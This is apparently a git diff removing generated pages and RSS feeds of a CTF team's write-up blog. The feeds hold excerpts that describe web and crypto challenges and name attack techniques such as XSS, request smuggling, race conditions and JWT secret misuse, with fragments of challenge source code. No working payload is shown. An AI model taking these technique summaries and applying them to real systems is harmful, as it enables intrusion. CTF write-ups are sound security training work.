x1="16" y1="3" x2="14" y2="21"></line> -</svg> - -</svg> - </a> -</h2> - -<p>&hellip;</p> - -<h2 id="source" class="header-anchor-wrapper">Source - <a href="#source" class="header-anchor-link"> - <svg width="16px" height="16px" viewBox="0 0 24 24"> -<svg - xmlns="http://www.w3.org/2000/svg" - width="24" height="24" viewBox="0 0 24 24" fill="none" - stroke="currentColor" stroke-width="2" stroke-linecap="round" - stroke-linejoin="round"> - <line x1="4" y1="9" x2="20" y2="9"></line><line x1="4" y1="15" x2="20" y2="15"></line><line x1="10" y1="3" x2="8" y2="21"></line><line x1="16" y1="3" x2="14" y2="21"></line> -</svg> - -</svg> - </a> -</h2> - -<p>&hellip;</p> -<pre><code class="language-python"># filename: file.py - - - -</code></pre> -<p>&hellip;</p> - -<h2 id="solution" class="header-anchor-wrapper">Solution - <a href="#solution" class="header-anchor-link"> - <svg width="16px" height="16px" viewBox="0 0 24 24"> -<svg - xmlns="http://www.w3.org/2000/svg" - width="24" height="24" viewBox="0 0 24 24" fill="none" - stroke="currentColor" stroke-width="2" stroke-linecap="round" - stroke-linejoin="round"> - <line x1="4" y1="9" x2="20" y2="9"></line><line x1="4" y1="15" x2="20" y2="15"></line><line x1="10" y1="3" x2="8" y2="21"></line><line x1="16" y1="3" x2="14" y2="21"></line> -</svg> - -</svg> - </a> -</h2> - -<p>&hellip;</p> - - - - \ No newline at end of file diff --git a/public/tags/vigne/page/1/index.html b/public/tags/vigne/page/1/index.html deleted file mode 100644 index e10cb685..00000000 --- a/public/tags/vigne/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/vigne/ - - - - - - diff --git a/public/tags/vigneswar/index.html b/public/tags/vigneswar/index.html deleted file mode 100644 index 62808b7b..00000000 --- a/public/tags/vigneswar/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - Vigneswar - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Vigneswar

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/vigneswar/index.xml b/public/tags/vigneswar/index.xml deleted file mode 100644 index f81c58ee..00000000 --- a/public/tags/vigneswar/index.xml +++ /dev/null @@ -1,33 +0,0 @@ - - - - Vigneswar on ByteTheCookies - http://localhost:1313/tags/vigneswar/ - Recent content in Vigneswar on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 07 Oct 2024 22:50:14 +0200 - - MovieReviewApp - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - MovieReviewApp Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools -Introduction The challenge looks like a very simple site in pure html where we see reviews on movies -Source Is not present the source BUT&hellip; -Solution The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice - - - - Loan App - http://localhost:1313/writeups/ironctf2024/loan_app/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/writeups/ironctf2024/loan_app/ - Loan app Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) -Introduction This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do &lsquo;request smuggling&rsquo;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend. - - - - \ No newline at end of file diff --git a/public/tags/vigneswar/page/1/index.html b/public/tags/vigneswar/page/1/index.html deleted file mode 100644 index 2fdc32da..00000000 --- a/public/tags/vigneswar/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/vigneswar/ - - - - - - diff --git a/public/tags/web/index.html b/public/tags/web/index.html deleted file mode 100644 index fbe4bc27..00000000 --- a/public/tags/web/index.html +++ /dev/null @@ -1,338 +0,0 @@ - - - - - - - - - - - Web - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Web

- - - -
- - -
-

2025

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/web/index.xml b/public/tags/web/index.xml deleted file mode 100644 index 33bf19e5..00000000 --- a/public/tags/web/index.xml +++ /dev/null @@ -1,356 +0,0 @@ - - - - Web on ByteTheCookies - http://localhost:1313/tags/web/ - Recent content in Web on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 29 Jul 2025 09:09:33 +0200 - - Word Wide Flag CTF 2025 - http://localhost:1313/writeups/wwfctf2025/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/writeups/wwfctf2025/ - World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 - - - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - Simple Chat - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Simple-Chat Description: Simple web application to chat with your friends! Sometimes it does funny things and it&rsquo;s ok like that -Introduction Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It&rsquo;s a simple XSS with a twist. -Source Let&rsquo;s look at two parts of the FUNDAMENTAL code -// filename: app.js app.post('/api/v1/insertChat', async (req, res) =&gt; { const sender = req.body.sender; const receiver = req.body.receiver; var message = req. - - - - aeronaut - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Aeronaut Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! -Introduction The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. - - - - CornCTF 2025 - http://localhost:1313/writeups/cornctf2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ - CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat - - - - StackBank 1 - http://localhost:1313/writeups/ulisse2025/stackbank1/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/writeups/ulisse2025/stackbank1/ - ⚠️ WORKING IN PROGRESS -StackBank 1 Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑. -Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py Author: akiidjk - - - - Telemetry - http://localhost:1313/writeups/ulisse2025/telemetry/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/writeups/ulisse2025/telemetry/ - Telemetry Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won&rsquo;t find the hidden flag&hellip; Will you prove him wrong? 🏠🔍 -Introduction Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge. -Source The application is a simple Flask app with 0 css (we almost like it). - - - - Online Python Editor - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Tue, 11 Mar 2025 18:12:32 +0100 - - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Online Python Editor Description: If you&rsquo;re tired of fast and good-looking editors, try this. Now with extra crispiness! -Introduction This is the first web in the TRX2025 CTF. And it&rsquo;s basically a simple online Python editor with a syntax checker. -Source Go to the source code and we can immediately see two things: -In a file called secret.py, which is never called, read or otherwise used. -The main app.py file - - - - Speed - http://localhost:1313/writeups/srdnlen2025/speed/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/writeups/srdnlen2025/speed/ - Speed Description: Welcome to Radiator Springs&rsquo; finest store, where every car enthusiast&rsquo;s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow! -Introduction For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge. -The challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. - - - - Ben 10 - http://localhost:1313/writeups/srdnlen2025/ben10/ - Tue, 11 Mar 2025 16:52:02 +0100 - - http://localhost:1313/writeups/srdnlen2025/ben10/ - Ben 10 Description: Ben Tennyson&rsquo;s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It&rsquo;s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden. -Can you outsmart the system and reveal the flag? -Introduction This is one of the webs of the 2025 italian championship cybercup first round, the ctf was made in january 2025, and I&rsquo;m writing the writeups only so some information could be wrong or not complete. - - - - Locked Door - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Mon, 23 Dec 2024 16:55:16 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Locked Door Description: In front of you stands a door with a digital terminal. Will you be able to open it? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - GoSecureIt - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - GoSecureIt Description: I&rsquo;ve found this website under construction, at the moment you can only register, but I think there&rsquo;s something strange in the cookie -Introduction We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code -Source // filename: secret.go package secret var JwtSecretKey = []byte(&quot;schrody_is_always_watching&quot;) // I don't know why it's called secret, I'll just leave it here :) Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main. - - - - ImgPlace - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - ImgPlace Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos&hellip; and become popular! -Introduction We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description -Source The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description - - - - m0leCon 2025 Beginner CTF - http://localhost:1313/writeups/m0lecon2025beginner/ - Sun, 22 Dec 2024 22:11:36 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/ - m0leCon 2025 Beginner CTF Description Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025. -Challenges are targeted to newcomers and students. -Team size limit is 4 people per team. -The m0leCon Beginner CTF will not award rating points on CTFTime. -Url Discord Performance Summary CTFs: 18/20 Total points: 2700 Position: 2/385 Rating points: 0.0 Writeups Crypto Small Auth Web Go Secure It ImgPlace - - - - MovieReviewApp - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - MovieReviewApp Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools -Introduction The challenge looks like a very simple site in pure html where we see reviews on movies -Source Is not present the source BUT&hellip; -Solution The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice - - - - b64SiteViewer - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - b64SiteViewer Description: This is one of the challenges added later, but despite that it wasn&rsquo;t very complex, in fact the most complex part wasn&rsquo;t even the web part, but despite that the challenge was still really nice -Introduction We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands - - - - Loan App - http://localhost:1313/writeups/ironctf2024/loan_app/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/writeups/ironctf2024/loan_app/ - Loan app Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) -Introduction This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do &lsquo;request smuggling&rsquo;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend. - - - - IRON CTF 2024 - http://localhost:1313/writeups/ironctf2024/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/writeups/ironctf2024/ - IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - - - - PatriotCTF 2024 - http://localhost:1313/writeups/patriotctf2024/ - Fri, 27 Sep 2024 17:24:46 +0200 - - http://localhost:1313/writeups/patriotctf2024/ - Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University&rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. -Url Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today&hellip; - - - - Feature Unlocked - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Feature unlocked Description: The world&rsquo;s coolest app has a brand new feature! Too bad it&rsquo;s not released until after the CTF.. -Link: https://feature-unlocked-web-challs.csc.tf/ -Introduction Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly. -Source # filename: main.py import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto. - - - - ZipZone - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Zipzone Description: I was tired of trying to find a good file server for zip files, so I made my own! It&rsquo;s still a work in progress, but I think it&rsquo;s pretty good so far. -Link: https://zipzone-web.challs.csc.tf/ -Introduction ZipZone is the only one web in the beginner&rsquo;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards. - - - - Trendz - http://localhost:1313/writeups/cyberspace2024/trendz/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! - - - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - Hello - http://localhost:1313/writeups/idekctf2024/hello/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/writeups/idekctf2024/hello/ - Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? - - - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - Kirbytime - http://localhost:1313/writeups/litctf2024/kirbytime/ - Tue, 13 Aug 2024 13:01:07 +0200 - - http://localhost:1313/writeups/litctf2024/kirbytime/ - Kirbytime Description: Welcome to Kirby&rsquo;s Website. -Introduction We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters. -Source # filename: main.py import sqlite3 from flask import Flask, request, redirect, render_template import time app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def login(): message = None if request.method == 'POST': password = request.form['password'] real = 'REDACTED' if len(password) != 7: return render_template('login. - - - - Lexington Informatics Tournament CTF 2024 - http://localhost:1313/writeups/litctf2024/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/writeups/litctf2024/ - Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime - - - - File Sharing Portal - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - File Sharing Portal Description: Welcome to the file sharing portal! We only support tar files! -Introduction The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents. -Source The source has comments added later to allow a better understanding of the code in the writeups - - - - N00bzCTF 2024 - http://localhost:1313/writeups/n00bzctf2024/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/writeups/n00bzctf2024/ - N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas - - - - Blank Login - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Blank Login Description: Hm, I don&rsquo;t remember, probably something about three databases. -Introduction This is the third web application I&rsquo;ve exploited. It&rsquo;s a very cool challenge, not too complex, and very fun. There&rsquo;s a not-very-easy race condition to spot. In fact, I think that&rsquo;s the most difficult part. So, let&rsquo;s start. -We have a small Flask application with about 200 lines of code, so it&rsquo;s not too bad. The first page is a login page without a register page. - - - - \ No newline at end of file diff --git a/public/tags/web/page/1/index.html b/public/tags/web/page/1/index.html deleted file mode 100644 index 9488446d..00000000 --- a/public/tags/web/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/web/ - - - - - - diff --git a/public/tags/web/page/2/index.html b/public/tags/web/page/2/index.html deleted file mode 100644 index 92e1ebe1..00000000 --- a/public/tags/web/page/2/index.html +++ /dev/null @@ -1,338 +0,0 @@ - - - - - - - - - - - Web - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Web

- - - -
- - -
-

2025

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/web/page/3/index.html b/public/tags/web/page/3/index.html deleted file mode 100644 index 0b8a27ed..00000000 --- a/public/tags/web/page/3/index.html +++ /dev/null @@ -1,338 +0,0 @@ - - - - - - - - - - - Web - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Web

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/web/page/4/index.html b/public/tags/web/page/4/index.html deleted file mode 100644 index 7b09ec05..00000000 --- a/public/tags/web/page/4/index.html +++ /dev/null @@ -1,338 +0,0 @@ - - - - - - - - - - - Web - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Web

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/web/page/5/index.html b/public/tags/web/page/5/index.html deleted file mode 100644 index 3bf94348..00000000 --- a/public/tags/web/page/5/index.html +++ /dev/null @@ -1,338 +0,0 @@ - - - - - - - - - - - Web - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Web

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/web/page/6/index.html b/public/tags/web/page/6/index.html deleted file mode 100644 index 3c0c8eef..00000000 --- a/public/tags/web/page/6/index.html +++ /dev/null @@ -1,338 +0,0 @@ - - - - - - - - - - - Web - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Web

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/web/page/7/index.html b/public/tags/web/page/7/index.html deleted file mode 100644 index 5ee4e70f..00000000 --- a/public/tags/web/page/7/index.html +++ /dev/null @@ -1,302 +0,0 @@ - - - - - - - - - - - Web - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Web

- - - -
- - -
-

0001

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/xss/index.html b/public/tags/xss/index.html deleted file mode 100644 index e558768f..00000000 --- a/public/tags/xss/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - XSS - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

XSS

- - - -
- - -
-

2024

- -
    - -
  • - ImgPlace - - - 12/23 - - -
  • - -
  • - Hello - - - 08/18 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/xss/index.xml b/public/tags/xss/index.xml deleted file mode 100644 index bc9274b4..00000000 --- a/public/tags/xss/index.xml +++ /dev/null @@ -1,35 +0,0 @@ - - - - XSS on ByteTheCookies - http://localhost:1313/tags/xss/ - Recent content in XSS on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:48:55 +0100 - - ImgPlace - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - ImgPlace Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos&hellip; and become popular! -Introduction We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description -Source The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description - - - - Hello - http://localhost:1313/writeups/idekctf2024/hello/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/writeups/idekctf2024/hello/ - Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? - - - - \ No newline at end of file diff --git a/public/tags/xss/page/1/index.html b/public/tags/xss/page/1/index.html deleted file mode 100644 index 0c211ece..00000000 --- a/public/tags/xss/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/xss/ - - - - - - diff --git a/public/tags/zaua/index.html b/public/tags/zaua/index.html deleted file mode 100644 index 12a0e28d..00000000 --- a/public/tags/zaua/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Zaua - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Zaua

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/zaua/index.xml b/public/tags/zaua/index.xml deleted file mode 100644 index 4d7aafaa..00000000 --- a/public/tags/zaua/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Zaua on ByteTheCookies - http://localhost:1313/tags/zaua/ - Recent content in Zaua on ByteTheCookies - Hugo -- gohugo.io - en - Wed, 12 Mar 2025 22:04:00 +0100 - - Confusion - http://localhost:1313/writeups/srdnlen2025/confusion/ - Wed, 12 Mar 2025 22:04:00 +0100 - - http://localhost:1313/writeups/srdnlen2025/confusion/ - Confusion Looks like our cryptographers had one too many glasses of mirto! Can you sober up their sloppy AES scheme, or will the confusion keep you spinning? -Introduction Confusion was a crypto CTF from Srdnlen CTF 2025. -#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import os # Local imports FLAG = os.getenv(&quot;FLAG&quot;, &quot;srdnlen{REDACTED}&quot;).encode() # Server encryption function def encrypt(msg, key): pad_msg = pad(msg, 16) blocks = [os. - - - - \ No newline at end of file diff --git a/public/tags/zaua/page/1/index.html b/public/tags/zaua/page/1/index.html deleted file mode 100644 index 92d08d43..00000000 --- a/public/tags/zaua/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/zaua/ - - - - - - diff --git a/public/tags/zeptoide/index.html b/public/tags/zeptoide/index.html deleted file mode 100644 index 21c935d2..00000000 --- a/public/tags/zeptoide/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Zeptoide - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Zeptoide

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
